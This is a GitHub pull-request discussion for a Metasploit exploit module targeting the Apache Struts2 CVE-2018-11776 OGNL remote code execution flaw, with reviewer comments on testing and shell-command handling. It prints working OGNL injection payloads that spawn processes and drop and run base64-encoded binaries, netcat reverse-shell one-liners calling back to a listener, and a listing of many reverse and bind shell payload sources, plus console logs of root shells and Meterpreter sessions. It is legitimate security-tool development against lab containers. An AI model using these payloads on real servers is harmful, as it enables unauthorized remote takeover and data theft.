New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

CVE-2018-11776: Struts Namespace RCE #10546

Merged
merged 8 commits into from Sep 7, 2018

Conversation

Projects
None yet
7 participants
@asoto-r7
Copy link
Contributor

asoto-r7 commented Aug 28, 2018

Resolves #10524

CVE-2018-11776 is a critical vulnerability in the way Apache Struts2 handles namespaces and redirection, which permits an attacker to execute OGNL remotely. Using OGNL, the attacker can modify files and execute commands.

The vulnerability was reported to Apache by Man Yue Mo from Semmle in April 2018. It was widely publicized in August 2018, with PoCs appearing shortly thereafter.

Verification

Confirm that check functionality works:

  • Install the application using the steps in the module-specific documentation.
  • Start msfconsole.
  • Load the module: use exploit/multi/http/struts_namespace_ognl
  • Set the RHOST.
  • Set an invalid ACTION: set ACTION wrong.action
  • Confirm the target is not vulnerable: check
  • Observe that the target is not vulnerable: The target is not exploitable.
  • Set a valid ACTION: set ACTION help.action
  • Confirm that the target is vulnerable: The target is vulnerable.

Confirm that command execution functionality works:

  • Set a payload: set PAYLOAD cmd/unix/generic
  • Set a command to be run: set CMD hostname
  • Run the exploit: run
  • Confirm the output is the container ID of your docker environment, e.g: b3d9b350d9b6
  • You will not be given a shell (yet).

Confirm that payload upload and execution works:

  • Set a payload, e.g.: set PAYLOAD linux/x64/meterpreter/reverse_tcp
  • Configure LHOST and RHOST as necessary.
  • Run the exploit: run

@asoto-r7 asoto-r7 self-assigned this Aug 28, 2018

@wvu-r7 wvu-r7 added the feature label Aug 28, 2018

'Author' => [
'Man Yue Mo', # Discovery
'hook-s3c', # PoC
'asoto-r7', # Metasploit module

This comment has been minimized.

@wvu-r7

wvu-r7 Aug 28, 2018

Contributor

We should probably add you to .mailmap. cc @wchen-r7

This comment has been minimized.

@wchen-r7

wchen-r7 Aug 29, 2018

Contributor

It looks like Aaron's name is in .mailmap. Let me know if it doesn't work.

This comment has been minimized.

@wvu-r7

wvu-r7 Aug 29, 2018

Contributor

My bad! Disregard. (:

'Man Yue Mo', # Discovery
'hook-s3c', # PoC
'asoto-r7', # Metasploit module
'wvu-r7' # Metasploit module

This comment has been minimized.

@wvu-r7

wvu-r7 Aug 28, 2018

Contributor

wvu, please, if you're going to keep me. :)

@egypt

This comment has been minimized.

Copy link
Contributor

egypt commented Aug 29, 2018

At this point, there have been so many Struts bugs that let you execute OGNL, we might want to consider consolidating into a library of OGNL for executing java directly. That would let us skip the noisier command execution or keep it as an option rather than the only path to shell

@wvu-r7

This comment has been minimized.

Copy link
Contributor

wvu-r7 commented Aug 29, 2018

@egypt: That is my intention (but we'll consolidate in a following PR). Similarly for #10539. :)

@wvu-r7

This comment has been minimized.

Copy link
Contributor

wvu-r7 commented Aug 30, 2018

@asoto-r7: When you've made the changes you want and are ready to have this reviewed, let me know.

@wvu-r7

This comment has been minimized.

Copy link
Contributor

wvu-r7 commented Aug 30, 2018

wvu@kharak:~/ognl-repl:master$ rlwrap java -jar target/ognl-repl-0.2.0.jar
ognl#000001> @java.lang.System@getProperty("os.name")
Mac OS X
ognl#000002> @java.lang.System@getProperty("os.arch")
x86_64
ognl#000003>

https://github.com/naokikimura/ognl-repl

asoto-r7 added some commits Aug 31, 2018

@asoto-r7

This comment has been minimized.

Copy link
Contributor

asoto-r7 commented Aug 31, 2018

@wvu: Ready for review. Thanks in advance! 😄

@wchen-r7 wchen-r7 self-assigned this Aug 31, 2018

@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Aug 31, 2018

@wvu-r7 will be out after Friday. I'll test this PR. Nice job @asoto-r7 !

@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Sep 4, 2018

Exploit works for me, so that's good:

msf5 exploit(multi/http/struts2_namespace_ognl) > run

[*] Started reverse TCP handler on 172.16.249.1:4444 
[+] Target profiled successfully: Linux 4.15.0-20-generic amd64, running as root
[+] Payload successfully dropped and executed.
[*] Sending stage (816260 bytes) to 172.16.249.153
[*] Meterpreter session 1 opened (172.16.249.1:4444 -> 172.16.249.153:53758) at 2018-09-04 17:46:37 -0500

meterpreter >

Let me test some more :-) So far so good.

@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Sep 4, 2018

wrong.action doesn't give me the same behavior:

msf5 exploit(multi/http/struts2_namespace_ognl) > set ACTION wrong.action
ACTION => wrong.action
msf5 exploit(multi/http/struts2_namespace_ognl) > check

[-] Server returned HTTP 404, please double check TARGETURI and ACTION
[*] 172.16.249.153:32771 Cannot reliably check exploitability.
['URL', 'https://lgtm.com/blog/apache_struts_CVE-2018-11776'],
['URL', 'https://cwiki.apache.org/confluence/display/WW/S2-057']
],
'Privileged' => true,

This comment has been minimized.

@wvu-r7

wvu-r7 Sep 5, 2018

Contributor

I'm skeptical that this is true. I'm also noticing many other Struts exploits set it (perhaps due to copypasta).

This comment has been minimized.

@asoto-r7

asoto-r7 Sep 6, 2018

Contributor

Good news! I can confirm that these statements are true.

EDIT: Whoops, I think I've completely misunderstood what you meant here.

This comment has been minimized.

@wvu-r7

wvu-r7 Sep 6, 2018

Contributor

# Returns whether or not the module requires or grants high privileges.

We set Privileged for an exploit when it grants us privileged access. Usually this is used to check if a payload is compatible with an exploit. If the payload requires privileged access, the exploit must grant it.

Struts is typically not run directly as root, though it just happens to be in this Docker lab. When I set Privileged, I intend it to be the most common case. I don't want to say an exploit will get me root unless I'm sure it will by design.

Tomcat and other Java application servers don't run as root in my experience, so I wouldn't feel comfortable setting Privileged.

wvu@kharak:~/metasploit-framework:master$ search struts modules | xargs grep Privileged
modules/exploits/multi/http/struts_dmi_exec.rb:      'Privileged'     => true,
modules/exploits/multi/http/struts2_code_exec_showcase.rb:      'Privileged'     => true,
modules/exploits/multi/http/struts_code_exec_exception_delegator.rb:      'Privileged'     => true,
modules/exploits/multi/http/struts_code_exec.rb:      'Privileged'     => true,
modules/exploits/multi/http/struts_dmi_rest_exec.rb:      'Privileged'     => true,
modules/exploits/multi/http/struts_include_params.rb:      'Privileged'     => true,
modules/exploits/multi/http/struts2_rest_xstream.rb:      'Privileged'     => false,
modules/exploits/multi/http/struts2_content_type_ognl.rb:      'Privileged'     => true,
modules/exploits/multi/http/struts_code_exec_parameters.rb:      'Privileged'     => true,
wvu@kharak:~/metasploit-framework:master$

There is likely copypasta between these modules. Only one of them sets Privileged to false. :-)

Lastly, my non-Docker setups for testing Struts have all been run as the Tomcat user. So have systems I've tested elsewhere.

This comment has been minimized.

@wvu-r7

wvu-r7 Sep 6, 2018

Contributor

Exploits for MS08-067 and MS17-010 would net us Privileged, for instance. The latter even uses a kernel-mode payload that if separate would require Privileged, too.

This comment has been minimized.

@wvu-r7

wvu-r7 Sep 6, 2018

Contributor

Oh, and I think it's a little simplistic that we distill so much meaning down into a Boolean. Though this code has been around for well over a decade. 😅

@FireFart

This comment has been minimized.

Copy link
Contributor

FireFart commented Sep 5, 2018

msftidy also fails on this one

--- Checking new and changed module syntax with tools/dev/msftidy.rb ---
modules/exploits/multi/http/struts2_namespace_ognl.rb:118 - [WARNING] Spaces at EOL
modules/exploits/multi/http/struts2_namespace_ognl.rb:225 - [WARNING] Spaces at EOL
modules/exploits/multi/http/struts2_namespace_ognl.rb:255 - [WARNING] Spaces at EOL
modules/exploits/multi/http/struts2_namespace_ognl.rb:292 - [WARNING] Spaces at EOL
@wvu-r7
Copy link
Contributor

wvu-r7 left a comment

First and final review completed (though I should have used this form first).

Thanks for handling this, @wchen-r7. And thank you for the valuable contribution, @asoto-r7! <3

if (cmd_input.include?';')
print_error("WARNING: Command contains bad characters: semicolons (;). Substituting '||'")
vprint_status("BEFORE: #{cmd_input}")
cmd_input = cmd_input.gsub(";" ,"||")

This comment has been minimized.

@wvu-r7

wvu-r7 Sep 5, 2018

Contributor

This should be &&. See testing notes.

This comment has been minimized.

@asoto-r7

asoto-r7 Sep 6, 2018

Contributor

I think I see what you're saying, since ; wasn't checking the return status of each command, I figured || was the closest analog. I'd like to stick with || unless there's a specific reason, but I'm absolutely open to the discussion. 😃

This comment has been minimized.

@asoto-r7

asoto-r7 Sep 6, 2018

Contributor

Understanding your testing notes, and having let this sink in for a bit, I think neither || nor && are good substitutions:

$ true || echo hi
$ true && echo hi
hi
$ false || echo hi
hi
$ false && echo hi
$ 

My proposal: Just throw a warning when we see a ; and send the command. It might fail, but let's put the power in the hands of the user. The warning should tell the user that they might need to separate their command and run the exploit multiple times.

This comment has been minimized.

@wvu-r7

wvu-r7 Sep 6, 2018

Contributor

|| is the closest to ; in the failure case, but we can't reasonably expect tested payloads to fail in between critical operations, hence my suggestion to use && instead. Neither && nor || are ideal for this, since ; is the intended logic.

The reason I didn't like || is because if a critical operation like mkfifo succeeds as one would hope, the payload would immediately bail instead of proceeding, which is the opposite of what we want!

I think a full example will make this clearer.

wvu@kharak:~$ mkfifo /tmp/dbsmolx|| nc 192.168.65.2 4444 0</tmp/dbsmolx | /bin/sh >/tmp/dbsmolx 2>&1|| rm /tmp/dbsmolx
+ mkfifo /tmp/dbsmolx
wvu@kharak:~$ mkfifo /tmp/qxmwdz&& nc 192.168.65.2 4444 0</tmp/qxmwdz | /bin/sh >/tmp/qxmwdz 2>&1&& rm /tmp/qxmwdz
+ mkfifo /tmp/qxmwdz
+ nc 192.168.65.2 4444
+ /bin/sh

Note how || fails the nc call after mkfifo succeeds. This would break many payloads that rely on a successful chain of operations. Any change at all might break a loop or other shell grammar, though.

I agree we should do less magic and let the user handle it. So long as we warn about it as you said.

You could also split the payload on ;, but that's equally as unpredictable.

This comment has been minimized.

@wvu-r7

wvu-r7 Sep 6, 2018

Contributor

Oh, and if you're testing with cmd/unix/generic, it's a gamble what will or won't work with user input. But I'm talking about all of our other cmd/unix payloads a user might select.

wvu@kharak:~/metasploit-framework:master$ git grep \; modules/payloads/singles/cmd/unix
modules/payloads/singles/cmd/unix/bind_awk.rb:    "awk 'BEGIN{s=\"/inet/tcp/#{datastore['LPORT']}/0/0\";while(1){do{s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}while(c!=\"exit\");close(s)}}'"
modules/payloads/singles/cmd/unix/bind_inetd.rb:      "cp /etc/services #{tmp_services};" +
modules/payloads/singles/cmd/unix/bind_inetd.rb:      "echo #{svc} #{datastore['LPORT']}/tcp>>/etc/services;" +
modules/payloads/singles/cmd/unix/bind_inetd.rb:      "echo #{svc} stream tcp nowait root /bin/sh sh>#{tmp_inet};" +
modules/payloads/singles/cmd/unix/bind_inetd.rb:      "/usr/etc/inetd -s #{tmp_inet};" +
modules/payloads/singles/cmd/unix/bind_inetd.rb:      "cp #{tmp_services} /etc/services;" +
modules/payloads/singles/cmd/unix/bind_inetd.rb:      "rm #{tmp_inet} #{tmp_services};";
modules/payloads/singles/cmd/unix/bind_lua.rb:    "lua -e \"local s=require('socket');local s=assert(socket.bind('*',#{datastore['LPORT']}));local c=s:accept();while true do local r,x=c:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));c:send(b);end;c:close();f:close();\""
modules/payloads/singles/cmd/unix/bind_netcat.rb:    "mkfifo /tmp/#{backpipe}; (nc -l -p #{datastore['LPORT']} ||nc -l #{datastore['LPORT']})0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}"
modules/payloads/singles/cmd/unix/bind_perl.rb:     cmd = "perl -MIO -e '$p=fork();exit,if$p;foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);while(<>){if($_=~ /(.*)/){system $1;}};'"
modules/payloads/singles/cmd/unix/bind_perl_ipv6.rb:    cmd = "perl -MIO -e '$p=fork();exit,if$p;$c=new IO::Socket::INET6(LocalPort,#{datastore['LPORT']},Reuse,1,Listen)->accept;$~->fdopen($c,w);STDIN->fdopen($c,r);system$_ while<>'"
modules/payloads/singles/cmd/unix/bind_r.rb:    "blocking=TRUE,server=TRUE,open='r+');while(TRUE){writeLines(readLines" +
modules/payloads/singles/cmd/unix/bind_ruby.rb:    "ruby -rsocket -e 'exit if fork;s=TCPServer.new(\"#{datastore['LPORT']}\");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end;end'"
modules/payloads/singles/cmd/unix/bind_ruby_ipv6.rb:    "ruby -rsocket -e 'exit if fork;s=TCPServer.new(\"::\",\"#{datastore['LPORT']}\");while(c=s.accept);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end;end'"
modules/payloads/singles/cmd/unix/reverse.rb:      "while : ; do sh && break; done 2>&1|" +
modules/payloads/singles/cmd/unix/reverse_awk.rb:    "awk 'BEGIN{s=\"/inet/tcp/0/#{datastore['LHOST']}/#{datastore['LPORT']}\";while(1){do{s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}while(c!=\"exit\");close(s)}}'"
modules/payloads/singles/cmd/unix/reverse_bash.rb:    return "0<&#{fd}-;exec #{fd}<>/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']};sh <&#{fd} >&#{fd} 2>&#{fd}";
modules/payloads/singles/cmd/unix/reverse_bash.rb:    #return "s=${IFS:0:1};eval$s\"bash${s}#{fd}<>/dev/tcp/#{datastore['LHOST']}/#{datastore['LPORT']}$s<&#{fd}$s>&#{fd}&\""
modules/payloads/singles/cmd/unix/reverse_lua.rb:    "lua -e \"local s=require('socket');local t=assert(s.tcp());t:connect('#{datastore['LHOST']}',#{datastore['LPORT']});while true do local r,x=t:receive();local f=assert(io.popen(r,'r'));local b=assert(f:read('*a'));t:send(b);end;f:close();t:close();\""
modules/payloads/singles/cmd/unix/reverse_netcat.rb:    "mkfifo /tmp/#{backpipe}; nc #{datastore['LHOST']} #{datastore['LPORT']} 0</tmp/#{backpipe} | /bin/sh >/tmp/#{backpipe} 2>&1; rm /tmp/#{backpipe}"
modules/payloads/singles/cmd/unix/reverse_openssl.rb:      "while : ; do sh && break; done 2>&1|" +
modules/payloads/singles/cmd/unix/reverse_perl.rb:    cmd   = "perl -MIO -e '$p=fork;exit,if($p);foreach my $key(keys %ENV){if($ENV{$key}=~/(.*)/){$ENV{$key}=$1;}}$c=new IO::Socket::INET#{ver}(PeerAddr,\"#{lhost}:#{datastore['LPORT']}\");STDIN->fdopen($c,r);$~->fdopen($c,w);while(<>){if($_=~ /(.*)/){system $1;}};'"
modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb:    cmd = "perl -e 'use IO::Socket::SSL;$p=fork;exit,if($p);"
modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb:    cmd += "$c=IO::Socket::SSL->new(\"#{lhost}:#{datastore['LPORT']}\");"
modules/payloads/singles/cmd/unix/reverse_perl_ssl.rb:    cmd += "while(sysread($c,$i,8192)){syswrite($c,`$i`);}'"
modules/payloads/singles/cmd/unix/reverse_php_ssl.rb:    cmd = "php -r '$ctxt=stream_context_create([\"ssl\"=>[\"verify_peer\"=>false]]);while($s=@stream_socket_client(\"ssl://#{datastore['LHOST']}:#{datastore['LPORT']}\",$erno,$erstr,30,STREAM_CLIENT_CONNECT,$ctxt)){while($l=fgets($s)){exec($l,$o);$o=implode(\"\\n\",$o);$o.=\"\\n\";fputs($s,$o);}}'&"
modules/payloads/singles/cmd/unix/reverse_python.rb:    raw_cmd = "import socket,subprocess,os;host=\"#{datastore['LHOST']}\";port=#{datastore['LPORT']};s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((host,port));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(\"#{datastore['SHELL']}\")"
modules/payloads/singles/cmd/unix/reverse_python.rb:    obfuscated_cmd = raw_cmd.gsub(/,/, "#{random_padding},#{random_padding}").gsub(/;/, "#{random_padding};#{random_padding}")
modules/payloads/singles/cmd/unix/reverse_r.rb:    "blocking=TRUE,server=FALSE,open='r+');while(TRUE){writeLines(readLines" +
modules/payloads/singles/cmd/unix/reverse_ruby.rb:    "ruby -rsocket -e 'exit if fork;c=TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\");while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'"
modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb:    res = "ruby -rsocket -ropenssl -e 'exit if fork;c=OpenSSL::SSL::SSLSocket.new"
modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb:    res << "(TCPSocket.new(\"#{lhost}\",\"#{datastore['LPORT']}\")).connect;while"
modules/payloads/singles/cmd/unix/reverse_ruby_ssl.rb:    res << "(cmd=c.gets);IO.popen(cmd.to_s,\"r\"){|io|c.print io.read}end'"
modules/payloads/singles/cmd/unix/reverse_ssl_double_telnet.rb:      "while : ; do sh && break; done 2>&1|" +
wvu@kharak:~/metasploit-framework:master$

Note where modifying ; would break payload execution. Even with &&. Some of the code isn't even shell, so that's even more unpredictable.

If you intend cmd/unix/generic to be what the user will use, please set it as a default option. Thanks!

I'm still agreeing that we should not do magic on this.

This comment has been minimized.

@wvu-r7

wvu-r7 Sep 6, 2018

Contributor

Heck, it's looking like cmd/unix/generic is the only reasonable default at this rate. Plus no magic being applied.

@wvu-r7

This comment has been minimized.

Copy link
Contributor

wvu-r7 commented Sep 5, 2018

check works:

msf5 exploit(multi/http/struts2_namespace_ognl) > check

[*] Submitted OGNL: ${9061+1692}
[*] Redirected to:  /10753/date.action
[+] 127.0.0.1:32771 The target is vulnerable.
msf5 exploit(multi/http/struts2_namespace_ognl) >

Please test ARCH_CMD, @wchen-r7. I'm afraid the substitution of || for ; is incorrect, as it would break intended shell logic. This is also specific to Unix payloads.

wvu@kharak:~$ true; echo true
true
wvu@kharak:~$ true || echo true
wvu@kharak:~$ true && echo true
true
wvu@kharak:~$
msf5 exploit(multi/http/struts2_namespace_ognl) > run

[-] Handler failed to bind to 192.168.65.2:4444:-  -
[*] Started reverse TCP handler on 0.0.0.0:4444
[-] WARNING: Command contains bad characters: semicolons (;).  Substituting '||'
[*] BEFORE: mkfifo /tmp/dbsmolx; nc 192.168.65.2 4444 0</tmp/dbsmolx | /bin/sh >/tmp/dbsmolx 2>&1; rm /tmp/dbsmolx
[*] AFTER: mkfifo /tmp/dbsmolx|| nc 192.168.65.2 4444 0</tmp/dbsmolx | /bin/sh >/tmp/dbsmolx 2>&1|| rm /tmp/dbsmolx
[*] Submitted OGNL: ${(#_memberAccess['allowStaticMethodAccess']=true).('mW')+(@java.lang.System@getProperty('os.name'))+':'+(@java.lang.System@getProperty('os.arch'))+':'+(@java.lang.System@getProperty('os.version'))+':'+(@java.lang.System@getProperty('user.name'))+':'+(@java.lang.System@getProperty('user.language'))}
[+] Target profiled successfully: Linux 4.9.93-linuxkit-aufs amd64, running as root
[*] Executing: {'bash','-c','mkfifo /tmp/dbsmolx|| nc 192.168.65.2 4444 0</tmp/dbsmolx | /bin/sh >/tmp/dbsmolx 2>&1|| rm /tmp/dbsmolx'}
[*] Submitted OGNL: ${(#_memberAccess['allowStaticMethodAccess']=true).(#p=new java.lang.ProcessBuilder({'bash','-c','mkfifo /tmp/dbsmolx|| nc 192.168.65.2 4444 0</tmp/dbsmolx | /bin/sh >/tmp/dbsmolx 2>&1|| rm /tmp/dbsmolx'})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#r=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#r)).(#r.flush())}
[+] Command executed:

[*] Exploit completed, but no session was created.
msf5 exploit(multi/http/struts2_namespace_ognl) > edit
msf5 exploit(multi/http/struts2_namespace_ognl) > git diff
[*] exec: git diff

diff --git a/modules/exploits/multi/http/struts2_namespace_ognl.rb b/modules/exploits/multi/http/struts2_namespace_ognl.rb
index 18d97776a1..9160956275 100644
--- a/modules/exploits/multi/http/struts2_namespace_ognl.rb
+++ b/modules/exploits/multi/http/struts2_namespace_ognl.rb
@@ -242,12 +242,12 @@ class MetasploitModule < Msf::Exploit::Remote

   def execute_command(cmd_input, opts={})    # WTF is opts for?
     # Semicolons appear to be a bad character in OGNL.  cmdstager doesn't understand that.
-    #   We'll replace ';' with '||' and hope for the best
+    #   We'll replace ';' with '&&' and hope for the best

     if (cmd_input.include?';')
-      print_error("WARNING: Command contains bad characters: semicolons (;).  Substituting '||'")
+      print_error("WARNING: Command contains bad characters: semicolons (;).  Substituting '&&'")
       vprint_status("BEFORE: #{cmd_input}")
-      cmd_input = cmd_input.gsub(";" ,"||")
+      cmd_input = cmd_input.gsub(";" ,"&&")
       vprint_status("AFTER: #{cmd_input}")
     end

msf5 exploit(multi/http/struts2_namespace_ognl) > rerun
[*] Reloading module...

[-] Handler failed to bind to 192.168.65.2:4444:-  -
[*] Started reverse TCP handler on 0.0.0.0:4444
[-] WARNING: Command contains bad characters: semicolons (;).  Substituting '&&'
[*] BEFORE: mkfifo /tmp/qxmwdz; nc 192.168.65.2 4444 0</tmp/qxmwdz | /bin/sh >/tmp/qxmwdz 2>&1; rm /tmp/qxmwdz
[*] AFTER: mkfifo /tmp/qxmwdz&& nc 192.168.65.2 4444 0</tmp/qxmwdz | /bin/sh >/tmp/qxmwdz 2>&1&& rm /tmp/qxmwdz
[*] Submitted OGNL: ${(#_memberAccess['allowStaticMethodAccess']=true).('Yl')+(@java.lang.System@getProperty('os.name'))+':'+(@java.lang.System@getProperty('os.arch'))+':'+(@java.lang.System@getProperty('os.version'))+':'+(@java.lang.System@getProperty('user.name'))+':'+(@java.lang.System@getProperty('user.language'))}
[+] Target profiled successfully: Linux 4.9.93-linuxkit-aufs amd64, running as root
[*] Executing: {'bash','-c','mkfifo /tmp/qxmwdz&& nc 192.168.65.2 4444 0</tmp/qxmwdz | /bin/sh >/tmp/qxmwdz 2>&1&& rm /tmp/qxmwdz'}
[*] Submitted OGNL: ${(#_memberAccess['allowStaticMethodAccess']=true).(#p=new java.lang.ProcessBuilder({'bash','-c','mkfifo /tmp/qxmwdz&& nc 192.168.65.2 4444 0</tmp/qxmwdz | /bin/sh >/tmp/qxmwdz 2>&1&& rm /tmp/qxmwdz'})).(#p.redirectErrorStream(true)).(#process=#p.start()).(#r=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#r)).(#r.flush())}
[*] Command shell session 1 opened (127.0.0.1:4444 -> 127.0.0.1:51708) at 2018-09-05 15:36:19 -0500
[-] Failed to run command.  Response from server:

id
uid=0(root) gid=0(root) groups=0(root)
uname -a
Linux 9077ddf1c91e 4.9.93-linuxkit-aufs #1 SMP Wed Jun 6 16:55:56 UTC 2018 x86_64 GNU/Linux

Note the successful shell upon substitution of && instead. Not much better but at least intended logic.

Meterpreter works fine due to pure OGNL:

msf5 exploit(multi/http/struts2_namespace_ognl) > run

[-] Handler failed to bind to 192.168.65.2:4444:-  -
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Submitted OGNL: ${(#_memberAccess['allowStaticMethodAccess']=true).('nn')+(@java.lang.System@getProperty('os.name'))+':'+(@java.lang.System@getProperty('os.arch'))+':'+(@java.lang.System@getProperty('os.version'))+':'+(@java.lang.System@getProperty('user.name'))+':'+(@java.lang.System@getProperty('user.language'))}
[+] Target profiled successfully: Linux 4.9.93-linuxkit-aufs amd64, running as root
[*] Submitted OGNL: ${(#_memberAccess['allowStaticMethodAccess']=true).(#d=@org.apache.struts2.ServletActionContext@getRequest().getHeader('X-MJZS')).(#f=@java.io.File@createTempFile('deleteme','tmp')).(#f.setExecutable(true)).(#f.deleteOnExit()).(#s=new java.io.FileOutputStream(#f)).(#d=new sun.misc.BASE64Decoder().decodeBuffer(#d)).(#s.write(#d)).(#s.close()).(#p=new java.lang.ProcessBuilder({#f.getAbsolutePath()})).(#p.start()).(#f.delete()).('jRdj')}
[*] Embedding payload of 332 bytes
[+] Payload successfully dropped and executed.
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (816260 bytes) to 127.0.0.1
[*] Meterpreter session 2 opened (127.0.0.1:4444 -> 127.0.0.1:51812) at 2018-09-05 15:48:39 -0500

meterpreter > getuid
Server username: uid=0, gid=0, euid=0, egid=0
meterpreter > sysinfo
Computer     : 172.17.0.2
OS           : Debian 8.8 (Linux 4.9.93-linuxkit-aufs)
Architecture : x64
BuildTuple   : x86_64-linux-musl
Meterpreter  : x64/linux
meterpreter > ls /tmp/deleteme
[-] stdapi_fs_stat: Operation failed: 1
meterpreter >

The temp filename should be randomized as noted earlier, though the file is deleted very quickly.

Windows remains to be tested, but I'm retreating back into my vacation hole. Thank you!

@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Sep 5, 2018

Got it. Thank you.

asoto-r7 added some commits Sep 6, 2018

@wvu-r7

This comment has been minimized.

Copy link
Contributor

wvu-r7 commented Sep 6, 2018

It looks like most of my concerns have been addressed. Thank you, @asoto-r7!

I left follow-up comments to your questions, @asoto-r7. It looks like they're lost within the original threads, though. Edited to reference threaded comments directly. Damn you, GitHub.

Summary of remaining concerns:

Disappearing again now. 👋

asoto-r7 added some commits Sep 6, 2018

Handling for Tomcat namespace issues, 'allowStaticMethodAccess' setti…
…ngs, and payload output

Depending on the configuration of the Tomcat server, `allowStaticMethodAccess` may already be set.  We now try to detect this as part of `profile_target`.  But that check might fail.  If so, we'll try our best and let the user control whether we prepend OGNL to enable `allowStaticMethodAccess` via the 'ENABLE_OGNL' option.

Additionally, sometimes enabling `allowStaticMethodAccess` will cause the OGNL query to fail.

Additionally additionally, some Tomcat configurations won't provide output from the payload.  We'll detect that the payload ran successfully, but tell the user there was no output.

@asoto-r7 asoto-r7 removed the delayed label Sep 7, 2018

@asoto-r7

This comment has been minimized.

Copy link
Contributor

asoto-r7 commented Sep 7, 2018

This module has been tested against an Ubuntu docker container (described in the documentation) and a hand-built Windows 10 environment.

Linux command execution, Linux Meterpreter, and Windows command execution have been tested successfully. Windows Meterpreter support is not included in this PR. It will be provided in a future PR, to be linked here shortly.

@wchen-r7: This PR is ready for final review. Thanks!

@wvu-r7

wvu-r7 approved these changes Sep 7, 2018

Copy link
Contributor

wvu-r7 left a comment

@wchen-r7 and I have completed final review. Thanks!

bd50e00

@wchen-r7 wchen-r7 merged commit 99ca6ce into rapid7:master Sep 7, 2018

3 checks passed

Metasploit Automation - Sanity Test Execution Successfully completed all tests.
Details
Metasploit Automation - Test Execution Successfully completed all tests.
Details
continuous-integration/travis-ci/pr The Travis CI build passed
Details

wchen-r7 added a commit that referenced this pull request Sep 7, 2018

msjenkins-r7 added a commit that referenced this pull request Sep 7, 2018

@wchen-r7

This comment has been minimized.

Copy link
Contributor

wchen-r7 commented Sep 7, 2018

Release Notes

CVE-2018-11776 is a critical vulnerability in the way Apache Struts2 handles namespaces and redirection, which permits an attacker to execute OGNL remotely. Using OGNL, the attacker can modify files and execute commands.

The vulnerability was reported to Apache by Man Yue Mo from Semmle in April 2018. It was widely publicized in August 2018, with PoCs appearing shortly thereafter.

@hook-s3c

This comment has been minimized.

Copy link

hook-s3c commented Sep 8, 2018

A fine job, thanks guys - keep up the good work!

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment